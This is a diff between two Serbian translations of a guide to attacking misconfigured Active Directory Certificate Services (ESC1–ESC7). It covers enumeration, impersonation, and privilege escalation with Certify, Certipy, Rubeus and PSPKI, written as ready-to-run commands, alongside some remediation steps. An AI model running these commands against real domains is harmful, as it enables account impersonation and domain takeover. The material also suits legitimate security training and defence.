-> Konfiguracija opisna iznad omogućava korisnicima sa niskim privilegijama da zatraže sertifikate sa bilo kojim izabranim SAN-om, omogućavajući autentikaciju kao bilo koji domenčki principal putem Kerberos ili SChannel.
+> Konfiguracija opisana ovde omogućava korisnicima sa niskim privilegijama da zahtevaju sertifikate sa bilo kojim SAN-om po izboru, čime je omogućena autentifikacija kao bilo koji domen principal preko Kerberos-a ili SChannel-a.
 
-Ova opcija je ponekad omogućena da bi se podržala dinamička generacija HTTPS ili host sertifikata od strane proizvoda ili deployment servisa, ili zbog nedostatka razumevanja.
+Ova opcija je ponekad omogućena da bi se podržala on-the-fly generacija HTTPS ili host sertifikata od strane proizvoda ili deployment servisa, ili zbog nedostatka razumevanja.
 
-Primećeno je da kreiranje sertifikata sa ovom opcijom pokreće upozorenje, što nije slučaj kada se postojeći predložak sertifikata (poput `WebServer` predloška, koji ima `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` omogućeno) duplicira i zatim izmeni da uključi authentication OID.
+Primećeno je da pravljenje sertifikata sa ovom opcijom generiše upozorenje, što nije slučaj kada se postojeći predložak sertifikata (npr. `WebServer` template, koji ima `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` omogućen) duplira i zatim izmeni da uključi authentication OID.
 
-### Zloupotreba
+### Abuse
 
 Da biste **pronašli ranjive predloške sertifikata** možete pokrenuti:
 ```bash
 Certify.exe find /vulnerable
 certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
 ```
-Da biste **zloupotrebili ovu ranjivost i lažno se predstavili kao administrator**, možete pokrenuti:
+Da bi se **iskoristila ova ranjivost za lažno predstavljanje kao administrator**, može se pokrenuti:
 ```bash
 # Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
 Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
@@ -54,68 +54,68 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
 certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
 -template 'ESC1' -upn 'administrator@corp.local'
 ```
-Zatim možete pretvoriti generisani **sertifikat u `.pfx`** format i ponovo ga koristiti za **autentifikaciju koristeći Rubeus ili certipy**:
+Zatim možete transformisati generisani **sertifikat u `.pfx`** format i koristiti ga za **autentifikaciju koristeći Rubeus ili certipy** ponovo:
 ```bash
 Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
 certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
 ```
-Windows binarni fajlovi "Certreq.exe" & "Certutil.exe" mogu se koristiti za generisanje PFX fajla: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
+Windows binarni fajlovi "Certreq.exe" i "Certutil.exe" mogu se koristiti za generisanje PFX-a: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
 
-Enumeracija šablona sertifikata unutar konfiguracione šeme AD Foresta, tačnije onih koji ne zahtevaju odobrenje ili potpise, koji poseduju Client Authentication ili Smart Card Logon EKU, i kojima je omogućena zastavica `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, može se izvršiti pokretanjem sledećeg LDAP upita:
+Enumeraciju šablona sertifikata u konfiguracionoj šemi AD Foresta, tačnije onih koji ne zahtevaju odobrenje ili potpise, koji imaju Client Authentication ili Smart Card Logon EKU, i kojima je omogućena zastavica `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, moguće je izvršiti pokretanjem sledećeg LDAP upita:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
 ```
-## Pogrešno konfigurisanji šabloni sertifikata - ESC2
+## Misconfigured Certificate Templates - ESC2
 
-### Objašnjenje
+### Explanation
 
 Drugi scenario zloupotrebe je varijacija prvog:
 
-1. Prava za enrollment su dodeljena niskoprivilegovanim korisnicima od strane Enterprise CA.
-2. Zahtev za odobrenjem menadžera je onemogućen.
-3. Zahtev za ovlašćenim potpisima je izostavljen.
-4. Preterano permisivan security descriptor na šablonu sertifikata dodeljuje prava za enrollment sertifikata niskoprivilegovanim korisnicima.
+1. Prava za upis (enrollment) su dodeljena niskoprivilegovanim korisnicima od strane Enterprise CA.
+2. Zahtev za odobrenje menadžera je onemogućen.
+3. Zahtev za ovlašćene potpise je izostavljen.
+4. Previše permisivan security descriptor na šablonu sertifikata dodeljuje prava za enrollment niskoprivilegovanim korisnicima.
 5. **Šablon sertifikata je definisan da uključuje Any Purpose EKU ili nema EKU.**
 
-The **Any Purpose EKU** omogućava napadaču da dobije sertifikat za **bilo koju namenu**, uključujući client authentication, server authentication, code signing itd. Ista **technique used for ESC3** može se upotrebiti za eksploataciju ovog scenarija.
+The **Any Purpose EKU** omogućava napadaču da dobije sertifikat za **bilo koju svrhu**, uključujući autentifikaciju klijenta, autentifikaciju servera, potpisivanje koda itd. Ista **technique used for ESC3** može se upotrebiti za eksploataciju ovog scenarija.
 
-Sertifikati sa **no EKUs**, koji funkcionišu kao subordinate CA certificates, mogu se iskoristiti za **bilo koju namenu** i **takođe se mogu koristiti za potpisivanje novih sertifikata**. Dakle, napadač bi mogao da navede proizvoljne EKU-e ili polja u novim sertifikatima koristeći subordinate CA certificate.
+Sertifikati sa **bez EKU**, koji funkcionišu kao subordinate CA sertifikati, mogu se iskoristiti za **bilo koju svrhu** i **takođe se mogu koristiti za potpisivanje novih sertifikata**. Dakle, napadač bi mogao da specificira proizvoljne EKU-ove ili polja u novim sertifikatima koristeći subordinate CA sertifikat.
 
-Međutim, novi sertifikati kreirani za **domain authentication** neće raditi ako subordinate CA nije verifikovan od strane objekta **`NTAuthCertificates`**, što je podrazumevana postavka. Ipak, napadač i dalje može da kreira **nove sertifikate sa bilo kojom EKU** i proizvoljnim vrednostima sertifikata. To bi se potencijalno moglo **zloupotrebiti** u širokom spektru namena (npr. code signing, server authentication itd.) i može imati značajne posledice za druge aplikacije u mreži kao što su SAML, AD FS ili IPSec.
+Međutim, novi sertifikati kreirani za **domain authentication** neće funkcionisati ako subordinate CA nije poverena od strane **`NTAuthCertificates`** objekta, što je podrazumevana postavka. Ipak, napadač i dalje može da kreira **nove sertifikate sa bilo kojim EKU-om** i proizvoljnim vrednostima sertifikata. Ovo bi moglo biti potencijalno **zloupotrebljeno** za širok spektar svrha (npr. potpisivanje koda, autentifikacija servera, itd.) i može imati značajne implikacije za druge aplikacije u mreži kao što su SAML, AD FS ili IPSec.
 
-Da bi se izlistali šabloni koji odgovaraju ovom scenariju unutar konfiguracione šeme AD Forest-a, može se pokrenuti sledeći LDAP upit:
+Da biste izlistali šablone koji odgovaraju ovom scenariju u konfiguracionoj šemi AD Foresta, može se pokrenuti sledeći LDAP upit:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
 ```
-## Pogrešno konfigurisani Enrolment Agent Templates - ESC3
+## Misconfigured Enrolment Agent Templates - ESC3
 
-### Objašnjenje
+### Explanation
 
-Ovaj scenario je sličan prvom i drugom, ali **zloupotrebljava** **drugi EKU** (Certificate Request Agent) i **2 različita šablona** (stoga ima 2 skupa zahteva),
+Ovaj scenario je sličan prvom i drugom, ali zloupotrebljava drugačiji EKU (Certificate Request Agent) i 2 različita template-a (stoga ima 2 skupa zahteva).
 
-**Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), poznat kao **Enrollment Agent** u Microsoft dokumentaciji, omogućava subjektu da **zatraži** **sertifikat** u **ime drugog korisnika**.
+The Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1), known as Enrollment Agent in Microsoft documentation, omogućava entitetu (principal) da se enroll-uje za certificate u ime drugog korisnika.
 
-**„enrollment agent”** se upisuje u takav **šablon** i koristi dobijeni **sertifikat da ko-potpíše CSR u ime drugog korisnika**. Zatim **šalje** **ko-potpisani CSR** CA, upisujući se u **šablon** koji **dozvoljava „enroll on behalf of”**, i CA odgovara sa **sertifikatom koji pripada „drugom” korisniku**.
+The “enrollment agent” enroll-uje u takav template i koristi resultant certificate da ko-potpiše CSR u ime drugog korisnika. Zatim šalje ko-potpisani CSR ka CA, enroll-uje u template koji dozvoljava “enroll on behalf of”, i CA odgovara sa certificate koji pripada „drugom“ korisniku.
 
-**Zahtevi 1:**
+**Requirements 1:**
 
-- Prava za enrollment su dodeljena korisnicima sa niskim privilegijama od strane Enterprise CA.
-- Zahtev za odobrenje menadžera je izostavljen.
-- Nema zahteva za ovlašćenim potpisima.
-- Bezbednosni deskriptor šablona sertifikata je previše permisivan, dodeljujući prava za enrollment korisnicima sa niskim privilegijama.
-- Šablon sertifikata uključuje Certificate Request Agent EKU, omogućavajući zahtev za drugim šablonima sertifikata u ime drugih subjekata.
+- Enrollment rights su dodeljena low-privileged users od strane Enterprise CA.
+- Zahtjev za manager approval je izostavljen.
+- Nema zahteva za authorized signatures.
+- The security descriptor of the certificate template je previše permisivan, dodeljujući enrollment rights low-privileged users.
+- The certificate template uključuje Certificate Request Agent EKU, omogućavajući zahtev za druge certificate template-e u ime drugih principal-a.
 
-**Zahtevi 2:**
+**Requirements 2:**
 
-- Enterprise CA dodeljuje prava za enrollment korisnicima sa niskim privilegijama.
-- Odobrenje menadžera je zaobiđeno.
-- Verzija šeme šablona je ili 1 ili veća od 2, i specificira Application Policy Issuance Requirement koji zahteva Certificate Request Agent EKU.
-- EKU definisan u šablonu sertifikata omogućava autentifikaciju u domenu.
-- Ograničenja za enrollment agente nisu primenjena na CA.
+- Enterprise CA dodeljuje enrollment rights low-privileged users.
+- Manager approval je zaobiđen.
+- Verzija šeme template-a je ili 1 ili veća od 2, i specificira Application Policy Issuance Requirement koja zahteva Certificate Request Agent EKU.
+- EKU definisan u certificate template-u omogućava domain authentication.
+- Restrikcije za enrollment agente nisu primenjene na CA.
 
-### Zloupotreba
+### Abuse
 
-Možete koristiti [**Certify**](https://github.com/GhostPack/Certify) ili [**Certipy**](https://github.com/ly4k/Certipy) za zloupotrebu ovog scenarija:
+Možete koristiti [**Certify**](https://github.com/GhostPack/Certify) ili [**Certipy**](https://github.com/ly4k/Certipy) da zloupotrebite ovaj scenario:
 ```bash
 # Request an enrollment agent certificate
 Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
@@ -129,44 +129,42 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
 # Use Rubeus with the certificate to authenticate as the other user
 Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
 ```
-Korisnici koji imaju dozvolu da dobiju **enrollment agent certificate**, šablone u kojima su **enrollment agents** ovlašćeni da se prijave, i **nalozi** u čije ime enrollment agent može da deluje mogu biti ograničeni od strane enterprise CA-ova. Ovo se postiže otvaranjem `certsrc.msc` **snap-in**, **right-clicking on the CA**, **clicking Properties**, i zatim **navigating** do “Enrollment Agents” taba.
+Korisnici koji su dozvoljeni da dobiju **enrollment agent certificate**, šabloni u koje se **enrollment agents** smeju prijaviti, i **accounts** u čije ime enrollment agent može da deluje mogu biti ograničeni od strane enterprise CA. Ovo se postiže otvaranjem `certsrc.msc` **snap-in**, **desnim klikom na CA**, **izborom Properties**, i zatim **navigacijom** na karticu “Enrollment Agents”.
 
-Međutim, primećeno je da je **default** podešavanje za CA-e “**Do not restrict enrollment agents**.” Kada administratori omoguće ograničenje na enrollment agents, postavljanjem na “Restrict enrollment agents,” podrazumevana konfiguracija ostaje izuzetno permisivna. Omogućava **Everyone** pristup da se prijavi na sve šablone kao bilo ko.
+Ipak, primećeno je da je **default** podešavanje za CA da bude “**Do not restrict enrollment agents**.” Kada administratori omoguće ograničenje za enrollment agente i postave ga na “Restrict enrollment agents”, podrazumevana konfiguracija i dalje ostaje izuzetno permisivna. Ona dozvoljava **Everyone** pristup da se upiše u sve šablone kao bilo ko.
 
 ## Ranljiva kontrola pristupa šablonima sertifikata - ESC4
 
 ### **Objašnjenje**
 
-Bezbednosni deskriptor na **certificate templates** definiše **permissions** koje određeni **AD principals** imaju u vezi sa šablonom.
+**security descriptor** na **certificate templates** definiše **permissions** koje specifični **AD principals** imaju u vezi sa šablonom.
 
-Ako **attacker** poseduje neophodne **permissions** da **alter** **template** i **institute** bilo koje **exploitable misconfigurations** opisane u **prior sections**, to može omogućiti eskalaciju privilegija.
+Ako **attacker** poseduje potrebne **permissions** da **alter** **template** i **institute** bilo koje **exploitable misconfigurations** opisane u **prior sections**, to može omogućiti **privilege escalation**.
 
-Značajne dozvole koje se primenjuju na šablone sertifikata uključuju:
+Značajne permissions koje se primenjuju na certificate templates uključuju:
 
-- **Owner:** Grants implicit control over the object, allowing for the modification of any attributes.
-- **FullControl:** Enables complete authority over the object, including the capability to alter any attributes.
-- **WriteOwner:** Permits the alteration of the object's owner to a principal under the attacker's control.
-- **WriteDacl:** Allows for the adjustment of access controls, potentially granting an attacker FullControl.
-- **WriteProperty:** Authorizes the editing of any object properties.
+- **Owner:** Dodeljuje implicitnu kontrolu nad objektom, omogućavajući izmene bilo kojih atributa.
+- **FullControl:** Omogućava potpunu vlast nad objektom, uključujući mogućnost izmene svih atributa.
+- **WriteOwner:** Dozvoljava promenu vlasnika objekta u principal koji je pod kontrolom **attacker**.
+- **WriteDacl:** Dozvoljava podešavanje kontrola pristupa, potencijalno dodeljujući **attacker**-u FullControl.
+- **WriteProperty:** Ovlašćuje uređivanje bilo kojih svojstava objekta.
 
 ### Zloupotreba
 
-Da biste identifikovali principale sa pravima izmene na šablonima i drugim PKI objektima, enumerišite pomoću Certify:
+Da biste identifikovali principals sa pravima za izmenu na šablonima i drugim PKI objektima, enumerišite pomoću Certify:
 ```bash
 Certify.exe find /showAllPermissions
 Certify.exe pkiobjects /domain:corp.local /showAdmins
 ```
-Primer privesc-a sličan prethodnom:
-
 <figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
 
-ESC4 je kada korisnik ima write privilegije nad šablonom sertifikata. Ovo se, na primer, može zloupotrebiti da bi se prepisala konfiguracija šablona sertifikata i učinila ranjivom na ESC1.
+ESC4 označava situaciju kada korisnik ima privilegije za pisanje nad šablonom sertifikata. To se, na primer, može zloupotrebiti da bi se prepisala konfiguracija šablona sertifikata i učinilo da šablon postane ranjiv na ESC1.
 
-Kao što vidimo u putanji iznad, samo `JOHNPC` ima ove privilegije, ali naš korisnik `JOHN` ima novu `AddKeyCredentialLink` ivicu prema `JOHNPC`. Pošto je ova tehnika povezana sa sertifikatima, implementirao sam i ovaj napad, koji je poznat kao [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Evo malog prikaza Certipy-ove `shadow auto` komande za dobijanje NT hasha žrtve.
+Kao što vidimo u putanji iznad, samo `JOHNPC` ima ove privilegije, ali naš korisnik `JOHN` ima novu `AddKeyCredentialLink` vezu ka `JOHNPC`. Pošto je ova tehnika povezana sa sertifikatima, implementirao sam i ovaj napad, poznat kao [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Evo malog uvida u Certipy’s `shadow auto` komandu za preuzimanje NT hasha žrtve.
 ```bash
 certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
 ```
-**Certipy** može da prepiše konfiguraciju šablona sertifikata jednom komandom. **Podrazumevano**, Certipy će **prepisati** konfiguraciju da bi bila **ranjiva na ESC1**. Takođe možemo navesti **`-save-old` parametar za čuvanje stare konfiguracije**, što će biti korisno za **vraćanje** konfiguracije nakon našeg napada.
+**Certipy** može prepisati konfiguraciju šablona sertifikata jednom naredbom. **Podrazumevano**, Certipy će **prepisati** konfiguraciju da bi je učinila **ranjivom na ESC1**. Takođe možemo navesti **`-save-old` parametar da sačuvamo staru konfiguraciju**, što će biti korisno za **vraćanje** konfiguracije nakon našeg napada.
 ```bash
 # Make template vuln to ESC1
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@@ -177,37 +175,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
 # Restore config
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
 ```
-## Ranljiva kontrola pristupa PKI objekata - ESC5
+## Ranjiva kontrola pristupa PKI objekata - ESC5
 
 ### Objašnjenje
 
-Opsežna mreža međusobno povezanih ACL-zasnovanih odnosa, koja uključuje više objekata izvan certificate templates i certificate authority, može uticati na bezbednost celog AD CS sistema. Ti objekti, koji značajno utiču na bezbednost, obuhvataju:
+Opsežna mreža međusobno povezanih odnosa zasnovanih na ACL-ovima, koja uključuje više objekata osim certificate templates i certificate authority, može uticati na bezbednost celog AD CS sistema. Ovi objekti, koji značajno mogu uticati na bezbednost, obuhvataju:
 
-- AD computer object of the CA server, koji može biti kompromitovan putem mehanizama kao što su S4U2Self ili S4U2Proxy.
-- RPC/DCOM server of the CA server.
-- Bilo koji descendant AD object ili container unutar specifične container path `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ova putanja uključuje, ali nije ograničena na, containere i objekte kao što su Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, i the Enrollment Services Container.
+- AD computer object CA server-a, koji može biti kompromitovan kroz mehanizme kao što su S4U2Self ili S4U2Proxy.
+- RPC/DCOM server CA server-a.
+- Bilo koji descendant AD object ili container unutar konkretne putanje kontejnera `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ova putanja uključuje, ali nije ograničena na, kontejnere i objekte kao što su the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, i the Enrollment Services Container.
 
-Bezbednost PKI sistema može biti ugrožena ako napadač sa niskim privilegijama uspe da preuzme kontrolu nad bilo kojom od ovih kritičnih komponenti.
+Bezbednost PKI sistema može biti ugrožena ako napadač sa niskim privilegijama stekne kontrolu nad bilo kojim od ovih kritičnih komponenti.
 
 ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
 
 ### Objašnjenje
 
-Tema obrađena u [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) takođe se dotiče implikacija zastavice **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, kako to navodi Microsoft. Kada je ova konfiguracija uključena na Certification Authority (CA), dozvoljava uključivanje **user-defined values** u **subject alternative name** za **any request**, uključujući one kreirane iz Active Directory®. Posledično, ovo omogućava napadaču da se enroll-uje kroz **any template** podešen za domen **authentication** — posebno one otvorene za enrollment neprivilegovanih korisnika, kao što je standardni User template. Kao rezultat, može se dobiti sertifikat koji omogućava napadaču da se autentifikuje kao domain administrator ili **any other active entity** unutar domena.
+Tema obrađena u [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) takođe dodiruje implikacije zastavice **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, kako to Microsoft navodi. Ova konfiguracija, kada je aktivirana na Certification Authority (CA), omogućava uključivanje **user-defined values** u **subject alternative name** za **bilo koji zahtev**, uključujući one konstruisane iz Active Directory®. Posledično, ovo omogućava napadaču da se upiše (enroll) preko **bilo kojeg template-a** podešenog za domen **authentication**—posebno onih otvorenih za upis neprivilegovanih korisnika, kao što je standardni User template. Kao rezultat, može se dobiti sertifikat koji omogućava napadaču da se autentifikuje kao domain administrator ili **bilo koja druga aktivna entiteta** u domenu.
 
-**Napomena**: Pristup dodavanju **alternative names** u a Certificate Signing Request (CSR), putem argumenta `-attrib "SAN:"` u `certreq.exe` (nazvanog “Name Value Pairs”), predstavlja kontrast u odnosu na strategiju eksploatacije SANs u ESC1. Ovde razlika leži u tome kako se informacije o nalogu enkapsuliraju — unutar certificate attribute, umesto kao extension.
+**Note**: Pristup dodavanju **alternative names** u Certificate Signing Request (CSR), kroz argument `-attrib "SAN:"` u `certreq.exe` (nazvane “Name Value Pairs”), predstavlja **kontrast** u odnosu na strategiju iskorišćavanja SAN-ova u ESC1. Ovde je razlika u tome **kako su informacije o nalogu enkapsulirane**—u atribut sertifikata, umesto u ekstenziju.
 
 ### Zloupotreba
 
-Da bi proverile da li je podešavanje aktivirano, organizacije mogu upotrebiti sledeću komandu sa `certutil.exe`:
+Da bi proverile da li je podešavanje aktivirano, organizacije mogu koristiti sledeću komandu sa `certutil.exe`:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
 ```
-Ova operacija u suštini koristi **remote registry access**, stoga, alternativni pristup može biti:
+Ova operacija u suštini koristi **remote registry access**, stoga bi alternativni pristup mogao biti:
 ```bash
 reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
 ```
-Alati kao [**Certify**](https://github.com/GhostPack/Certify) i [**Certipy**](https://github.com/ly4k/Certipy) mogu да открију ovu pogrešnu konfiguraciju и iskoriste je:
+Alati poput [**Certify**](https://github.com/GhostPack/Certify) i [**Certipy**](https://github.com/ly4k/Certipy) mogu otkriti ovu pogrešnu konfiguraciju i iskoristiti je:
 ```bash
 # Detect vulnerabilities, including this one
 Certify.exe find
@@ -216,37 +214,39 @@ Certify.exe find
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
 ```
-Da biste promenili ova podešavanja, pod pretpostavkom da posedujete **domain administrative** prava ili ekvivalent, sledeća komanda može biti izvršena sa bilo koje radne stanice:
+Da biste promenili ova podešavanja, pod pretpostavkom da posedujete **administrativna prava domena** ili ekvivalentna, sledeću naredbu možete izvršiti sa bilo koje radne stanice:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
-Da biste onemogućili ovu konfiguraciju u vašem okruženju, zastavica se može ukloniti pomoću:
+Da biste onemogućili ovu konfiguraciju u svom okruženju, zastavicu možete ukloniti pomoću:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
 > [!WARNING]
-> Nakon bezbednosnih ažuriranja iz maja 2022, novo izdata **certificates** će sadržati **security extension** koji uključuje **requester's `objectSid` property**. Za ESC1, ovaj SID je izveden iz navedenog SAN-a. Međutim, za **ESC6**, SID odražava **requester's `objectSid`**, a ne SAN.\
-> Da bi se iskoristio ESC6, bitno je da sistem bude podložan ESC10 (Weak Certificate Mappings), koji daje prednost **SAN over the new security extension**.
+> Nakon bezbednosnih ažuriranja iz maja 2022, novoizdate **certificates** će sadržavati **security extension** koji uključuje **requester's `objectSid` property`**. Za ESC1, ovaj SID se izvodi iz specificiranog SAN. Međutim, za **ESC6**, SID odražava **requester's `objectSid`**, a ne SAN.\
+> Da bi se iskoristio ESC6, neophodno je da sistem bude podložan ESC10 (Weak Certificate Mappings), koji daje prednost **SAN over the new security extension**.
 
-## Ranljiv Certificate Authority Access Control - ESC7
+## Ranjiva Certificate Authority Access Control - ESC7
 
 ### Napad 1
 
 #### Objašnjenje
 
-Kontrola pristupa za certificate authority održava se skupom dozvola koje upravljaju radnjama CA. Te dozvole se mogu pregledati otvaranjem `certsrv.msc`, desnim klikom na CA, izborom Properties, a zatim prelaskom na Security tab. Takođe, dozvole se mogu izbrojati korišćenjem PSPKI modula pomoću komandi kao što su:
+Kontrola pristupa za certificate authority se održava skupom dozvola koje regulišu radnje CA. Ove dozvole se mogu pregledati pokretanjem `certsrv.msc`, desnim klikom na CA, izborom Properties, a zatim prelaskom na Security tab. Dodatno, dozvole se mogu izlistati koristeći PSPKI modul sa komandama kao što su:
 ```bash
 Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
 ```
+Ovo daje uvid u primarna prava, naime **`ManageCA`** i **`ManageCertificates`**, koja odgovaraju ulogama „administrator CA” i „menadžer sertifikata”.
+
 #### Zloupotreba
 
-Posedovanje prava **`ManageCA`** nad sertifikacionom autoritetom omogućava entitetu da daljinski menja podešavanja koristeći PSPKI. To uključuje uključivanje/isključivanje zastavice **`EDITF_ATTRIBUTESUBJECTALTNAME2`** da bi se dozvolilo navođenje SAN-a u bilo kojem šablonu, što je kritičan aspekt eskalacije domena.
+Imati **`ManageCA`** prava na sertifikacionom autoritetu omogućava subjektu da daljinski menja podešavanja koristeći PSPKI. To uključuje prebacivanje **`EDITF_ATTRIBUTESUBJECTALTNAME2`** oznake da dozvoli navođenje SAN u bilo kom šablonu, što je ključan aspekt eskalacije privilegija unutar domena.
 
-Pojednostavljenje ovog procesa je izvodljivo upotrebom PSPKI-jevog cmdlet-a **Enable-PolicyModuleFlag**, što omogućava izmene bez direktne interakcije sa GUI-jem.
+Pojednostavljenje ovog procesa moguće je korišćenjem PSPKI-jevog **Enable-PolicyModuleFlag** cmdlet-a, što omogućava izmene bez direktne interakcije sa GUI-jem.
 
-Posedovanje prava **`ManageCertificates`** omogućava odobravanje čekajućih zahteva, efikasno zaobilazeći meru zaštite "CA certificate manager approval".
+Posedovanje **`ManageCertificates`** prava olakšava odobravanje zahteva na čekanju, efikasno zaobilazeći zaštitu "CA certificate manager approval".
 
-Kombinacija modula **Certify** i **PSPKI** može se koristiti za podnošenje zahteva, odobravanje i preuzimanje sertifikata:
+Kombinacija **Certify** i **PSPKI** modula može se koristiti za zahtev, odobrenje i preuzimanje sertifikata:
 ```bash
 # Request a certificate that will require an approval
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
@@ -262,33 +262,33 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R
 # Download the certificate
 Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
 ```
-### Attack 2
+### Napad 2
 
-#### Explanation
+#### Objašnjenje
 
 > [!WARNING]
-> U **prethodnom napadu** **`Manage CA`** permissions su korišćene da **omoguće** zastavicu **EDITF_ATTRIBUTESUBJECTALTNAME2** kako bi se izveo **ESC6 attack**, ali to neće imati efekta dok se CA servis (`CertSvc`) ne restartuje. Kada korisnik ima pristupno pravo `Manage CA`, korisniku je takođe dozvoljeno da **restartuje servis**. Međutim, to **ne znači da korisnik može restartovati servis na daljinu**. Nadalje, E**SC6 možda neće raditi odmah** u većini zakrpanih okruženja zbog bezbednosnih ažuriranja iz maja 2022.
+> U **prethodnom napadu** **`Manage CA`** dozvole su korišćene da **omoguće** flag **EDITF_ATTRIBUTESUBJECTALTNAME2** za izvođenje **ESC6 attack**, ali ovo neće imati efekta dok se CA servis (`CertSvc`) ne restartuje. Kada korisnik ima `Manage CA` pravo pristupa, tom korisniku je takođe dozvoljeno da **restartuje servis**. Međutim, to **ne znači da korisnik može restartovati servis udaljeno**. Nadalje, E**SC6 možda neće raditi odmah** u većini ažuriranih okruženja zbog bezbednosnih ažuriranja iz maja 2022.
 
-Zbog toga se ovde prikazuje drugi napad.
+Stoga je ovde predstavljen drugi napad.
 
-Perquisites:
+Preduslovi:
 
-- Samo **`ManageCA` permission**
-- **`Manage Certificates`** permission (može se dodeliti iz **`ManageCA`**)
-- Šablon sertifikata **`SubCA`** mora biti **enabled** (može se enabled iz **`ManageCA`**)
+- Samo **`ManageCA` dozvola**
+- **`Manage Certificates`** dozvola (može se dodeliti iz **`ManageCA`**)
+- Šablon sertifikata **`SubCA`** mora biti **omogućen** (može se omogućiti iz **`ManageCA`**)
 
-Tehnika se oslanja na činjenicu da korisnici sa pristupnim pravima `Manage CA` _i_ `Manage Certificates` mogu **kreirati neuspešne zahteve za sertifikat**. Šablon sertifikata **`SubCA`** je **ranjiv na ESC1**, ali **samo administratori** mogu da se upišu koristeći taj šablon. Dakle, **korisnik** može **zatražiti** upis u **`SubCA`** - što će biti **odbijeno** - ali će ga potom **menadžer izdati naknadno**.
+Tehnika se zasniva na činjenici da korisnici sa `Manage CA` _i_ `Manage Certificates` pravom pristupa mogu **podneti neuspešne zahteve za sertifikat**. Šablon sertifikata **`SubCA`** je **ranjiv na ESC1**, ali **samo administratori** mogu da se upišu u šablon. Dakle, **korisnik** može **zatražiti** upis u **`SubCA`** — što će biti **odbijeno** — ali će **naknadno biti izdat od strane menadžera**.
 
-#### Abuse
+#### Zloupotreba
 
-Možete sebi dodeliti pristupno pravo **`Manage Certificates`** tako što ćete svog korisnika dodati kao novog službenika.
+Možete sebi **dodeliti `Manage Certificates`** pravo pristupa dodavanjem svog korisnika kao novog službenika.
 ```bash
 certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully added officer 'John' on 'corp-DC-CA'
 ```
-Šablon **`SubCA`** može biti **omogućen na CA** korišćenjem parametra `-enable-template`. Podrazumevano, šablon `SubCA` je omogućen.
+Šablon **`SubCA`** može biti **omogućen na CA** pomoću parametra `-enable-template`. Podrazumevano, šablon `SubCA` je omogućen.
 ```bash
 # List templates
